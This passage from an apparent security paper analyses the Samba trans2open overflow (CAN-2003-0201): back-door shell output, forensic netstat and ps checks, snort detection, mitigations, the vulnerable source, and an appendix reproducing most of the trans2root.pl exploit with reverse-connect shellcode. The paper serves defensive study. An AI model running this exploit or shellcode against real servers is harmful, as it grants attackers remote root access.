Linux kid.localdomain 2.4.20-18.8 #1 Thu May 29 08:57:39 EDT 2003 i686
athlon i386 GNU/Linux
uid=0(root) gid=0(root) groups=99(nobody)
```

The `-b 0` option above tells `smbal` to engage brute-force search mode and assume that the remote host runs Linux. The choice of Linux determines the starting point of the search. Different return addresses will be tried until one is found that causes the exploit code to execute. If a `-v` option is added to the above command, `smbal` prints each return address as it is tried.

In this example, `smbal` succeeded in creating an unprotected back door shell and connecting to it, as indicated by the output of the `id` command. Once reaching this point, `smbal` allows the user to interact with the remote shell on its standard input. The back door will remain open even after `smbal` exits. It may be accessed on port 45295 using `netcat`:

```
$ nc 192.168.0.51 45295
id
uid=0(root) gid=0(root) groups=99(nobody)
```

In addition to brute-force search, `smbal` provides a one-shot mode that works with a return address specified on the command line. In testing, this was not very effective because the necessary return address depends on runtime factors when `samba` is started.

`Smbal` also provides an option for working as connect-back exploit instead of a back door one. However, the connect-back functionality will not work unless a bug in the code is corrected as detailed in section 4.1.2.3. But even when it is fixed connect-back mode is not effective because it works only with one-shot mode.

### **4.3 Sample Data from Test Runs**

Here are some key pieces of information from a vulnerable `Samba` server, prior to being exploited:

#### **4.3.1 Key Information on an Unexploited Samba Host**

For comparison, it is useful to study some information collected from a `Samba` host before it is subjected to the exploit.

If the version of `Samba`'s `smbd` program indicates that it is lower than 2.2.8a, it is probably vulnerable. For example:

```
$ smb -V
Version 2.2.5
$
```

Indicates a vulnerable server.

Prior to the buffer overflow being triggered, there should not be any instances of the string, "internal error" in Samba's smbd.log file:

```
$ grep -i 'internal error' /var/log/samba/smbd.log | wc -l
0
```

Running netstat should show ports open for legitimate services only. For example, on a Linux system with no connections and no services other than Samba, netstat produces:

```
$ netstat -atun
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address           Foreign Address         State
tcp        0      0 0.0.0.0:139             0.0.0.0:*               LISTEN
udp        0      0 192.168.0.51:137       0.0.0.0:*
udp        0      0 0.0.0.0:137           0.0.0.0:*
udp        0      0 192.168.0.51:138       0.0.0.0:*
udp        0      0 0.0.0.0:138           0.0.0.0:*
$
```

The netstat -atun options tell netstat to display all TCP and UDP sockets including listening ones, without resolving IP addresses and port numbers. Note: Netstat options tend to vary between implementations. On a non-Linux host, the command above is likely to require small changes.

The ps command can be combined with grep to investigate whether Samba is running any unusual processes. For example, on an unexploited Linux system, Samba's processes will usually all be named "nmbd" or "smbd":

```
$ ps -eo 'pid ppid uid gid args' | grep '[sn]mbd'
24650    1      0      0 smbd -D
24654    1      0      0 nmbd -D
$ ps -eo 'pid ppid uid gid args' | grep 24650
24650    1      0      0 smbd -D
$ ps -eo 'pid ppid uid gid args' | grep 24654
24654    1      0      0 nmbd -D
$
```

The first ps and grep command identifies instances of Samba and shows the process ID of each. The next two commands use those ID's to check for any other processes that might be children of smbd or nmbd. In the example, there are no unusual processes to witness.

#### 4.3.2 The Victim After an Attack

The exploits tend to generate a lot of noise in Samba's logs, caused by incorrect guesses of the shellcode's return address resulting in a crashed process. After a successful attack, "internal error" can be expected to show up:

```
$ grep -i 'internal error' /var/log/samba/smbd.log | wc -l
32
```

This grep command does a case-insensitive search for the string "internal error", and pipes matching lines to "wc -l" to be counted. 32 matches were found, compared to none before the exploit was executed.

The output of netstat has also changed:

```
$ netstat -antu
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address           Foreign Address         State
tcp      0      0 0.0.0.0:139             0.0.0.0:*               LISTEN
tcp      0      0 0.0.0.0:45295           0.0.0.0:*               LISTEN
tcp      0      0 192.168.0.51:45295     192.168.0.52:32941     ESTABLISHED
tcp      1900    0 192.168.0.51:139       192.168.0.52:32937     CLOSE_WAIT
udp      0      0 127.0.0.1:32768        0.0.0.0:*               *
udp      0      0 192.168.0.51:137       0.0.0.0:*               *
udp      0      0 0.0.0.0:137            0.0.0.0:*               *
udp      0      0 192.168.0.51:138       0.0.0.0:*               *
udp      0      0 0.0.0.0:138            0.0.0.0:*               *
```

Notice the extra sockets on TCP port 45295 and UDP port 32768. The high UDP port is probably a port that would have been used by Samba when serving requests for the `ipc$` share. The TCP port is the back door port. Notice also a port in state `CLOSE_WAIT`. This is a tell-tale sign of `sambal.c`. `CLOSE_WAIT` is the state reported by netstat when the remote side of a TCP connection has closed, but the local side has not yet called `close(2)` on it. Because the shellcode from `sambal.c` hijacks the samba process that held this connection, the connection is never closed. It will remain in `CLOSED_WAIT` state until the shellcode exits, which could be a long time.

Using the `ps` command to re-inventory Samba's child processes also exposes suspicious activity:

```
# ps -eo 'pid ppid uid gid args' | grep '[ns]mbd'
24650    1      0      0 smbd -D
24654    1      0      0 nmbd -D
29625 24650    0      99 smbd -D
# ps -eo 'pid ppid uid gid args' | grep 24650
24650    1      0      0 smbd -D
29625 24650    0      99 smbd -D
# ps -eo 'pid ppid uid gid args' | grep 24654
24654    1      0      0 nmbd -D
# ps -eo 'pid ppid uid gid args' | grep 29625
29625 24650    0      99 smbd -D
29628 29625    0      0 /bin//sh
```

This reveals a child process of samba that is running the command, `/bin//sh`. This should obviously never happen under normal circumstances.

### 4.3.3 Traffic Analysis

In the test runs documented here, attacks were launched against a host with IP address 192.168.0.51, from a host with IP address 192.168.0.52. The `sambal.c` exploit was used to first launch a scan, then an attack with brute-force search and back door shellcode options selected. Using the following `tcpdump` command on the victim host, packets from the probe and attack were captured for analysis:

```
$ tcpdump -w <filename> -s 0 -i eth0 ip
```

The `-w <filename>` option saves packets to a named file. Packets from `sambal.c`'s scan mode and exploit mode were captured to separate files. The `-s 0` option prevents `tcpdump` from truncating captured packets. The `-i eth0` option tells `tcpdump` to capture traffic from the network interface named `eth0`. The `ip` argument causes non-IP traffic to be ignored by `tcpdump`. (This last was helpful to filter out unrelated ARP and IPX traffic on the test LAN due to an old, noisy print server.)

Using the traffic analysis tool, `ethereal`, the captured packets can be inspected in detail. Figures 5a and 5b show an `ethereal` session with packets from `sambal.c`'s scan mode. The first part of the probe is an NetBIOS node status query (Figure 5a).

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


Figure 5b; Samba's Response with Zeroed-out Unit ID

Earlier it was mentioned that ethereal is a handy tool for interpreting NBT's level2 encoded names. In the figure, ethereal shows that the following bytes in the bottom window:

```
20 43 4b 41 41 41 41...
```

which are translated to the name "`*<00><00><00>...`" in the middle window.

Samba's response to this query contains a list of NetBIOS names and, most importantly, a statistics field beginning with six zero bytes (the "Unit ID" highlighted in Figure 5b). This is the giveaway that allows `sambal.c` to distinguish Samba from other SMB implementations.

A breakdown of the SMB session packets that exploit Samba's vulnerability is given in Figure 6. The entire TCP connection uses only 16 packets, the first three of which are ordinary TCP handshaking. Next is the SMB session setup request from `sambal.c`, followed by a TCP ACK then the session setup response from the victim, granting the request.

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



Figure 6a; Anonymous Tree Connect to \\ipc\$



**Figure 6b; Malicious Packet with EIP Overwriting Address 0xbfffe9bc Shown**

The next packet from sambal.c is an SMB tree connect request (highlighted in Figure 6a). Notice the packet dump in the bottom window: the requested share name, \\ipc\$, and the anonymous user name, nobody, can be seen. Samba accepts this

request and returns a tree connect response packet indicating success and a tree ID of 1 (not shown).

As the figure illustrates, once the tree connect response is received, the buffer overflow data is transmitted. The packet highlighted in Figure 6b is an SMB trans2 request. This is where ethereal's knowledge of SMB breaks down: it does not recognize the code for a trans2 request (0x32), and labels the packet simply as a NetBIOS Session Service (NBSS) continuation message. The data dump window as at the bottom of the figure is positioned to show the block of return addresses destined for the victim's EIP register; in this instance, `sambal.c` is trying return address `0xbfffe9bc`. The block of return addresses is sandwiched between many copies of `0x90`, the x86 op code for NOOP, as should be expected based on the analysis of `sambal.c` in section 4.1.2.3.

The next two packets from the `sambal.c` host contain the rest of the exploit payload, which is too big to fit into a single packet on the test network.

As shown by ethereal in Figure 7, `tcpdump` captured the back door shell session. The first few packets show a TCP connection initiated by the attacking host, to the victim host's TCP port 45295. Further down, the data dump of the highlighted packet clearly shows the output of the `uname` command being transmitted back to the attacker, indicating success.

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


Figure 7; We're in!

Running the packets through snort with a recent ruleset (April 7, 2003) produced the following alert, due to rule #2103 in the updated netbios.rules file:

```

[**] [1:2103:1] NETBIOS SMB trans2open buffer overflow attempt [**]
[Classification: Attempted Administrator Privilege Gain] [Priority: 1]
08/10-18:16:03.118148 192.168.0.52:32905 -> 192.168.0.51:139
TCP TTL:64 TOS:0x0 ID:8637 IpLen:20 DgmLen:1500 DF
***A**** Seq: 0x185959AC Ack: 0xF8C0356C Win: 0x16D0 TcpLen: 32
  
```

```
TCP Options (3) => NOP NOP TS: 1800322 1800511
[Xref => http://www.digitaldefense.net/labs/advisories/DDI-1013.txt]
[Xref => http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2003-0201]
```

This was produced by running snort as follows:

```
snort -c snort.conf -l snort-logs -r exploit.pcap
```

Where: `-c snort.conf` gives the location of the snort configuration;  
`-l snort-logs` gives the location of the snort log directory;  
`-r exploit.pcap` gives the location of the packet capture file

## 5. Defense

### 5.1 Prevention

The best defensive action is to remove the vulnerability before it can be exploited. The following nmap command from section 4.2.1 can be used to scan for servers running Samba:

```
$ nmap -sT -p 137,139 -O 192.168.0.51
```

The IP address 192.168.0.51 can be replaced with a range of addresses appropriate for the scan. Any non-Windows hosts reported by nmap to have port 139 open are potential Samba hosts that should be investigated. Any of these that turn out to be running versions of Samba lower than 2.2.8a, or Samba TNG lower than 0.3.2 are probably vulnerable. Once vulnerable servers are located, they should be patched.

It also makes sense to block external access to TCP port 139 from any network firewalls, since SMB is not a good service to have open to the Internet at large. Samba's SMB service can sometimes also listen to TCP port 445, which should also be blocked.

Because the known exploits all depend on being able to access the IPC\$ share, another defensive measure is to configure Samba's internal access controls to restrict access to that share from IP addresses outside those which require access. CERT Vulnerability Note VU#267873 shows a way to do this by adding lines similar to these to Samba's smb.conf file:

```
[ipc$]
    hosts allow = 192.168.115.0/24 127.0.0.1
    hosts deny = 0.0.0.0/0
```

This method leaves Samba open to exploits from the trusted addresses.

There is another measure available which does not appear to be mentioned in the advisories. It is possible to "misconfigure" Samba so that anonymous access, which is

also required by the known exploits, does not work at all. This can be done by setting the guest account user to a nonexistent name. For example, use this setting in smb.conf:

```
guest account = NoSuchUser
```

This disables all anonymous access to the Samba server. This was tried in tests, and successfully prevented exploits from working yet did not affect the ability of non-anonymous users to access shares.

## 5.2. Detecting the Exploits

As has been seen, there are several ways that these exploits reveal themselves. If a network IDS is available, the first thing to look for would be a scan hitting UDP port 137 or TCP port 139 on hosts that either don't exist or don't run NetBIOS.

An smbd process communicating on a TCP port other than 139 would be another sure sign of something not right. The following command can be used on Linux to check for this:

```
# netstat -antp | grep /smbd | grep -v ':139 '  
tcp        0      0 0.0.0.0:45295        0.0.0.0:*           LISTEN  
26280/smbd
```

This example shows an smbd process listening on port 45295, which happens to be the smbali.c back door port. The `-p` option for Linux netstat causes the process id and command name to be printed. This option can be used only by root. Other systems may or may not have the `-p` option. If not, they may be able to substitute lsof (with the `-i` option to print socket information) or sockstat, if either of those programs are installed.

Another sign of something amiss on a system is an smbd process with a socket in CLOSE\_WAIT state for more than a second or two. As shown in section 4.3.2, smbd does not have a chance to close it's session socket when it's process is hijacked by shellcode. This telltale sign can also be observed with netstat:

```
$ netstat -ant | grep ':139 ' | grep CLOSE_WAIT  
tcp        1900    0 192.168.0.51:139    192.168.0.52:32937    CLOSE_WAIT
```

Provided they have not been tampered with, Samba's logs will give a clear indication when brute-force return address search techniques are used. Just look for any occurrence of the string, "internal error". This should not normally appear in Samba's logs.

If snort is available, running it in IDS mode may generate alerts for attempts to exploit the Samba trans2 vulnerability. Recent editions (April 7, 2003 and later) of the snort ruleset are able to check specifically for the trans2 vulnerability with rule #2103 in the

netbios.rules file. Older rulesets may still detect problems. If the shellcode.rules file is enabled, rule #648 will detect the NOOP slide in sambal.c's exploit payload. If the attack-responses.rules file is enabled, rule #498 will detect the output of the id command which is automatically executed by sambal.c (and trans2root.pl) when a remote shell connection succeeds.

### 5.3. Vendor Actions

The Samba Team responded quickly to this vulnerability, making patches ready by the time the vulnerability was publicly announced, and announcing the patches through their own mailing lists. The patches addressed the buffer overflow in trans2.c by replacing the vulnerable line of code:

```
StrnCpy (fname, pname, namelen);
```

with

```
pstrncpy (fname, pname);
```

which is a macro specially made for safely copying data to locations declared as pstring storage.

## 6. Additional Information

More information may be found through the following sources:

Original sambal.c source code:

<http://www.netric.org/exploits/sambal.c>

CVE name information:

<http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2003-0201>

CERT Vulnerability Note VU#267873:

<http://www.kb.cert.org/vuls/id/267873>

Seminal security advisory DDI-1013 from Digital Defense:

<http://www.digitaldefense.net/labs/advisories/DDI-1013.txt>

Much more information about NetBIOS and SMB (a.k.a. CIFS):

Implementing CIFS

<http://ubiqx.org/cifs/>

Please also see the References section for many more references.

## Appendix A Source Code for Vulnerable Samba Function

Samba's vulnerable `call_trans2open` function appears below. This sample is from Samba 2.2.5, as distributed with Red Hat Linux 8.0. The buffer overflow is contained on line 48.

The file containing the code below also contains the following copyright information:

```
Unix SMB/Netbios implementation.
Version 1.9.
SMB parameters and setup
Copyright (C) Andrew Tridgell          1992-2000
Copyright (C) John H Terpstra         1996-2000
Copyright (C) Luke Kenneth Casson Leighton 1996-2000
Copyright (C) Paul Ashton             1998-2000
```

```
This program is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation; either version 2 of the License, orL
(at your option) any later version.
```

### Listing 1: Samba's `call_trans2open()`

```
1  static int call_trans2open(connection_struct *conn, char
   *inbuf, char *outbuf, int bufsize,
2      char **pparams, int total_params, char **ppdata,
   int total_data)
3  {
4      char *params = *pparams;
5      int16 open_mode;
6      int16 open_attr;
7      BOOL oplock_request;
8      #if 0
9          BOOL return_additional_info;
10         int16 open_sattr;
11         time_t open_time;
12     #endif
13         int16 open_ofun;
14         int32 open_size;
15         char *pname;
16         int16 namelen;
17
18         pstring fname;
19         mode_t unixmode;
20         SMB_OFF_T size=0;
21         int fmode=0, mtime=0, rmode;
22         SMB_INO_T inode = 0;
23         SMB_STRUCT_STAT sbuf;
24         int smb_action = 0;
25         BOOL bad_path = False;
26         files_struct *fsp;
```



```

27
28     /*
29     * Ensure we have enough parameters to perform the operation.
30     */
31
32     if (total_params < 29)
33         return(ERROR_DOS(ERRDOS,ERRinvalidparam));
34
35     open_mode = SVAL(params, 2);
36     open_attr = SVAL(params,6);
37     oplock_request = (((SVAL(params,0)|(1<<1))>>1) | ((SVAL(params,0)|(1
<<2))>>1));
38     #if 0
39         return_additional_info = BITSETW(params,0);
40         open_sattr = SVAL(params, 4);
41         open_time = make_unix_date3(params+8);
42     #endif
43     open_ofun = SVAL(params,12);
44     open_size = IVAL(params,14);
45     pname = &params[28];
46     namelen = strlen(pname)+1;
47
48     StrnCpy(fname,pname,namelen);
49
50     DEBUG(3,("trans2open %s mode=%d attr=%d ofun=%d size=%d\n",
51         fname,open_mode, open_attr, open_ofun, open_size));
52
53     if (IS_IPC(conn))
54         return(ERROR_DOS(ERRSRV,ERRaccess));
55
56     /* XXXX we need to handle passed times, sattr and flags */
57
58     unix_convert(fname,conn,0,&bad_path,&sbuf);
59
60     if (!check_name(fname,conn)) {
61         set_bad_path_error(errno, bad_path);
62         return(UNIXERROR(ERRDOS,ERRnoaccess));
63     }
64
65     unixmode = unix_mode(conn,open_attr | aARCH, fname);
66
67     fsp = open_file_shared(conn,fname,&sbuf,open_mode,open_ofun,unixmode
68     ,
69         oplock_request, &rmode,&smb_action);
70     if (!fsp) {
71         set_bad_path_error(errno, bad_path);
72         return(UNIXERROR(ERRDOS,ERRnoaccess));
73     }
74
75     size = sbuf.st_size;
76     fmode = dos_mode(conn,fname,&sbuf);
77     mtime = sbuf.st_mtime;
78     inode = sbuf.st_ino;
79     if (fmode & aDIR) {
80         close_file(fsp,False);
81         return(ERROR_DOS(ERRDOS,ERRnoaccess));

```

```

82     }
83
84     /* Realloc the size of parameters and data we will return */
85     params = Realloc(*pparams, 28);
86     if( params == NULL )
87         return(ERROR_DOS(ERRDOS,ERRnomem));
88     *pparams = params;
89
90     memset((char *)params, '\\0', 28);
91     SSVAL(params, 0, fsp->fnum);
92     SSVAL(params, 2, fmode);
93     put_dos_date2(params, 4, mtime);
94     SIVAL(params, 8, (uint32) size);
95     SSVAL(params, 12, rmode);
96
97     if (oplock_request && lp_fake_oplocks(SNUM(conn)))
98         smb_action |= EXTENDED_OPLock_GRANTED;
99
100    SSVAL(params, 18, smb_action);
101
102    /*
103     * WARNING - this may need to be changed if SMB_INO_T <> 4 bytes.
104     */
105    SIVAL(params, 20, inode);
106
107    /* Send the required number of replies */
108    send_trans2_replies(outbuf, bufsize, params, 28, *ppdata, 0);
109
110    return -1;
111 }

```

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## Appendix B Source Code for trans2root.pl

This Perl program originally appeared in [DDI1], but no longer does.

### Listing 2: trans2root.pl

```
1  #!/usr/bin/perl
2  #####
3
4  ##[ Header
5  #       Name:  trans2root.pl
6  #       Purpose: Proof of concept exploit for Samba 2.2.x (trans2open overflow)
7  #       CVE:   CAN-2003-0201
8  #       Author: H D Moore <hdmoore@digitaldefense.net>
9  #       Copyright: Copyright (C) 2003 Digital Defense Inc.
10 # Release Date: April 7, 2003
11 #       Revision: 1.0
12 #       Download: http://www.digitaldefense.net/labs/securitytools.html
13 ##
14
15 use strict;
16 use Socket;
17 use IO::Socket;
18 use IO::Select;
19 use POSIX;
20 use Getopt::Std;
21
22 $SIG{USR2} = \&GoAway;
23
24 my %args;
25 my %targets =
26 (
27     "linx86" => [0xbffff3ff, 0xbfffffff, 0xbf000000, 512, \&CreateBuffer_linx86],
28     "solx86" => [0x08047404, 0x08047ffc, 0x08010101, 512, \&CreateBuffer_solx86],
29     "fbsd86" => [0xbfbfefff, 0xbfbfffff, 0xbf000000, 512, \&CreateBuffer_bsdx86],
30     # name      # default  # start  # end    # step  # function
31 );
32
33 getopt('t:M:h:p:r:H:P:', \%args);
34
35 my $target_type = $args{t} || Usage();
36 my $target_host = $args{h} || Usage();
37 my $local_host = $args{H} || Usage();
38 my $local_port = $args{P} || 1981;
39 my $target_port = $args{p} || 139;
40
41 my $target_mode = "brute";
42
43 if (! exists($targets{$target_type})) { Usage(); }
44 print "[*] Using target type: $target_type\n";
45
46 # allow single mode via the -M option
47 if ($args{M} && uc($args{M}) eq "S")
48 {
49     $target_mode = "single";
50 }
51
52 # the parent process listens for an incoming connection
53 # the child process handles the actual exploitation
54 my $listen_pid = $$;
55 my $exploit_pid = StartListener($local_port);
56
57 # get the default return address for single mode
58 my $targ_ret = $args{r} || $targets{$target_type}->[0];
59 my $curr_ret;
60 $targ_ret = eval($targ_ret);
61
62 if ($target_mode !~ /brute|single/)
63 {
```

```

64     print "[*] Invalid attack mode: $target_mode (single or brute only)\n";
65     exit(0);
66 }
67
68
69 if ($target_mode eq "single")
70 {
71     $curr_ret = $targ_ret;
72     if(! $targ_ret)
73     {
74         print "[*] Invalid return address specified!\n";
75         kill("USR2", $listen_pid);
76         exit(0);
77     }
78
79     print "[*] Starting single shot mode...\n";
80     printf ("[*] Using return address of 0x%.8x\n", $targ_ret);
81     my $buf = $targets{$target_type}->[4]->($local_host, $local_port, $targ_ret);
82     my $ret = AttemptExploit($target_host, $target_port, $buf);
83
84     sleep(2);
85     kill("USR2", $listen_pid);
86     exit(0);
87 }
88
89
90 if ($target_mode eq "brute")
91 {
92     print "[*] Starting brute force mode...\n";
93
94     for (
95         $curr_ret = $targets{$target_type}->[1];
96         $curr_ret >= $targets{$target_type}->[2];
97         $curr_ret -= $targets{$target_type}->[3]
98     )
99     {
100         select(STDOUT); $|++;
101         my $buf = $targets{$target_type}->[4]->($local_host, $local_port, $curr_ret);
102         printf (" \r[*] Return Address: 0x%.8x",
$curr_ret);
103         my $ret = AttemptExploit($target_host, $target_port, $buf);
104     }
105     sleep(2);
106     kill("USR2", $listen_pid);
107     exit(0);
108 }
109
110 sub Usage {
111
112     print STDERR "\n";
113     print STDERR " trans2root.pl - Samba 2.2.x 'trans2open()' Remote Exploit\n";
114     print STDERR "===== \n\n";
115     print STDERR " Usage: \n";
116     print STDERR "     $0 <options> -t <target type> -H <your ip> -h <target ip>\n";
117     print STDERR " Options: \n";
118     print STDERR "     -M (S|B) <single or brute mode>\n";
119     print STDERR "     -r <return address for single mode>\n";
120     print STDERR "     -p <alternate Samba port>\n";
121     print STDERR "     -P <alternate listener port>\n";
122     print STDERR " Targets:\n";
123     foreach my $type (keys(%targets))
124     {
125         print STDERR "     $type\n";
126     }
127     print STDERR "\n";
128
129
130     exit(1);
131 }
132
133

```

```

134 sub StartListener {
135     my ($local_port) = @_ ;
136     my $listen_pid = $$;
137
138     my $s = IO::Socket::INET->new (
139         Proto => "tcp",
140         LocalPort => $local_port,
141         Type => SOCK_STREAM,
142         Listen => 3,
143         ReuseAddr => 1
144     );
145
146     if (! $s)
147     {
148         print "[*] Could not start listener: $!\n";
149         exit(0);
150     }
151
152     print "[*] Listener started on port $local_port\n";
153
154     my $exploit_pid = fork();
155     if ($exploit_pid)
156     {
157         my $victim;
158         $SIG{USR2} = \&GoAway;
159
160         while ($victim = $s->accept())
161         {
162             kill("USR2", $exploit_pid);
163             print STDOUT "\n[*] Starting Shell " . $victim->peerhost . ":" . $victim->peerpo
rt . "\n\n";
164             StartShell($victim);
165         }
166         exit(0);
167     }
168     return ($exploit_pid);
169 }
170
171 sub StartShell {
172     my ($client) = @_ ;
173     my $sel = IO::Select->new();
174
175     Unblock(*STDIN);
176     Unblock(*STDOUT);
177     Unblock($client);
178
179     select($client); $|++;
180     select(STDIN); $|++;
181     select(STDOUT); $|++;
182
183     $sel->add($client);
184     $sel->add(*STDIN);
185
186     print $client "echo \\\-\\-\\-\\=\\[ Welcome to `hostname` \\(`id`\\)\n";
187     print $client "echo \n";
188
189     while (fileno($client))
190     {
191         my $fd;
192         my @fds = $sel->can_read(0.2);
193
194         foreach $fd (@fds)
195         {
196             my @in = <$fd>;
197
198             if(! scalar(@in)) { next; }
199
200             if (! $fd || ! $client)
201             {
202                 print "[*] Closing connection.\n";
203                 close($client);

```

```

204         exit(0);
205     }
206
207     if ($fd eq $client)
208     {
209         print STDOUT join("", @in);
210     } else {
211         print $client join("", @in);
212     }
213 }
214 }
215 close ($client);
216 }
217
218 sub AttemptExploit {
219     my ($Host, $Port, $Exploit) = @_;
220     my $res;
221
222     my $s = IO::Socket::INET->new(PeerAddr => $Host, PeerPort => $Port, Type => SOCK_STREAM,
Protocol => "tcp");
223
224     if (! $s)
225     {
226         print "\n[*] Error: could not connect: $!\n";
227         kill("USR2", $listen_pid);
228         exit(0);
229     }
230
231     select($s); $|++;
232     select(STDOUT); $|++;
233     Unblock($s);
234
235     my $SetupSession =
236         "\x00\x00\x00\x2e\xff\x53\x4d\x42\x73\x00\x00\x00\x00\x08".
237         "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
238         "\x00\x00\x00\x00\x00\x00\xff\x00\x00\x00\x20\x02\x00\x01".
239         "\x00\x00\x00\x00";
240
241     my $TreeConnect =
242         "\x00\x00\x00\x3c\xff\x53\x4d\x42\x70\x00\x00\x00\x00".
243         "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x64\x00".
244         "\x00\x00\x64\x00\x00\x00\x00\x00\x00\x5c\x5c\x69\x70\x63\x24".
245         "\x25\x6e\x6f\x62\x6f\x64\x79\x00\x00\x00\x00\x00\x00\x49\x50".
246         "\x43\x24";
247
248     my $Flush = ("\x00" x 808);
249
250     print $s $SetupSession;
251     $res = ReadResponse($s);
252
253     print $s $TreeConnect;
254     $res = ReadResponse($s);
255
256     # uncomment this for diagnostics
257     # print "[*] Press Enter to Continue...\n";
258     # $res = <STDIN>;
259
260     print "[*] Sending Exploit Buffer...\n";
261
262     print $s $Exploit;
263     print $s $Flush;
264
265     ReadResponse($s);
266     close($s);
267 }
268
269 sub CreateBuffer_linux86 {
270     my ($Host, $Port, $Return) = @_;
271
272     my $RetAddr = eval($Return);
273     $RetAddr = pack("l", $RetAddr);

```

```

274
275 my ($a1, $a2, $a3, $a4) = split(//, gethostbyname($Host));
276 $a1 = chr(ord($a1) ^ 0x93);
277 $a2 = chr(ord($a2) ^ 0x93);
278 $a3 = chr(ord($a3) ^ 0x93);
279 $a4 = chr(ord($a4) ^ 0x93);
280
281 my ($p1, $p2) = split(//, reverse(pack("s", $Port)));
282 $p1 = chr(ord($p1) ^ 0x93);
283 $p2 = chr(ord($p2) ^ 0x93);
284
285 my $exploit =
286 # trigger the trans2open overflow
287 "\x00\x04\x08\x20\xff\x53\x4d\x42\x32\x00\x00\x00\x00\x00\x00\x00".
288 "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00".
289 "\x64\x00\x00\x00\x00\x00\x07\x0c\x00\x00\x07\x0c\x00\x00\x00\x00".
290 "\x00\x00\x00\x00\x00\x00\x00\x00\x07\x43\x00\x0c\x00\x14\x08\x01".
291 "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
292 "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x90".
293
294 GetNops(772) .
295
296 # xor decoder courtesy of hsj
297 "\xeb\x02\xeb\x05\xe8\xf9\xff\xff\xff\x58\x83\xc0\x1b\x8d\xa0\x01".
298 "\xfc\xff\xff\x83\xe4\xfc\x8b\xec\x33\xc9\x66\xb9\x99\x01\x80\x30".
299 "\x93\x40\xe2\xfa".
300
301 # reverse-connect, mangled lamagra code + fixes
302 "\x1a\x76\xa2\x41\x21\xf5\x1a\x43\xa2\x5a\x1a\x58\xd0\x1a\xce\x6b".
303 "\xd0\x1a\xce\x67\xd8\x1a\xde\x6f\x1e\xde\x67\x5e\x13\xa2\x5a\x1a".
304 "\xd6\x67\xd0\xf5\x1a\xce\x7f\xf5\x54\xd6\x7d".
305 $p1.$p2 ."\x54\xd6\x63". $a1.$a2.$a3.$a4.
306 "\x1e\xd6\x7f\x1a\xd6\x6b\x55\xd6\x6f\x83\x1a\x43\xd0\x1e\xde\x67".
307 "\x5e\x13\xa2\x5a\x03\x18\xce\x67\xa2\x53\xbe\x52\x6c\x6c\x6c\x5e".
308 "\x13\xd2\xa2\x41\x12\x79\x6e\x6c\x6c\x6c\xaa\x42\xe6\x79\x78\x8b".
309 "\xcd\x1a\xe6\x9b\xa2\x53\x1b\xd5\x94\x1a\xd6\x9f\x23\x98\x1a\x60".
310 "\x1e\xde\x9b\x1e\xc6\x9f\x5e\x13\x7b\x70\x6c\x6c\x6c\xbc\xf1\xfa".
311 "\xfd\xbc\xe0\xfb".
312
313 GetNops(87) .
314
315 ($RetAddr x 8) .
316
317 "DDI!". ("\x00" x 277);
318
319 return $exploit;
320 }
321
322 sub CreateBuffer_solx86 {
323 my ($Host, $Port, $Return) = @_ ;
324
325 my $RetAddr = eval($Return);
326 my $IckAddr = $RetAddr - 512;
327
328 $RetAddr = pack("l", $RetAddr);
329 $IckAddr = pack("l", $IckAddr);
330
331 # IckAddr needs to point to a writable piece of memory
332
333 my ($a1, $a2, $a3, $a4) = split(//, gethostbyname($Host));
334 $a1 = chr(ord($a1) ^ 0x93);
335 $a2 = chr(ord($a2) ^ 0x93);
336 $a3 = chr(ord($a3) ^ 0x93);
337 $a4 = chr(ord($a4) ^ 0x93);
338
339 my ($p1, $p2) = split(//, reverse(pack("s", $Port)));
340 $p1 = chr(ord($p1) ^ 0x93);
341 $p2 = chr(ord($p2) ^ 0x93);
342
343 my $exploit =
344 # trigger the trans2open overflow

```

```

345     "\x00\x04\x08\x20\xff\x53\x4d\x42\x32\x00\x00\x00\x00\x00\x00".
346     "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00".
347     "\x64\x00\x00\x00\x00\x00\x07\x0c\x00\x00\x07\x0c\x00\x00\x00\x00".
348     "\x00\x00\x00\x00\x00\x00\x0d\x07\x43\x00\x0c\x00\x14\x08\x01".
349     "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
350     "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x90".
351
352     GetNops(813) .
353
354     # xor decoder courtesy of hsj
355     "\xeb\x02\xeb\x05\xe8\xf9\xff\xff\x58\x83\xc0\x1b\x8d\xa0\x01".
356     "\xfc\xff\xff\x83\xe4\xfc\x8b\xec\x33\xc9\x66\xb9\x99\x01\x80\x30".
357     "\x93\x40\xe2\xfa".
358
359     # reverse-connect, code by bighawk
360     "\x2b\x6c\x6b\x6c\xaf\x64\x43\xc3\xa2\x53\x23\x09\xc3\x1a\x76\xa2".
361     "\x5a\xc2\xd2\xd2\xc2\xc2\x23\x75\x6c\x46\xa2\x41\x1a\x54\xfb".
362     $a1.$a2.$a3.$a4 ."\xf5\xfb". $p1.$p2.
363     "\xf5\xc2\x1a\x75\xf9\x83\xc5\xc4\x23\x78\x6c\x46\xa2\x41\x21\x9a".
364     "\xc2\xcl\xc4\x23\xad\x6c\x46\xda\xea\x61\xc3\xfb\xbc\xbc\xe0\xfb".
365     "\xfb\xbc\xf1\xfa\xfd\x1a\x70\xc3\xc0\x1a\x71\xc3\xc1\xc0\x23\xa8".
366     "\x6c\x46".
367
368     GetNops(87) .
369
370     "010101".
371     $RetAddr.
372     $IckAddr.
373     $RetAddr.
374     $IckAddr.
375     "101010".
376
377     "DDI!". ("\x00" x 277);
378
379     return $exploit;
380 }
381
382 sub CreateBuffer_bsd86 {
383     my ($Host, $Port, $Return) = @_;
384
385     my $RetAddr = eval($Return);
386     my $IckAddr = $RetAddr - 512;
387
388     $RetAddr = pack("l", $RetAddr);
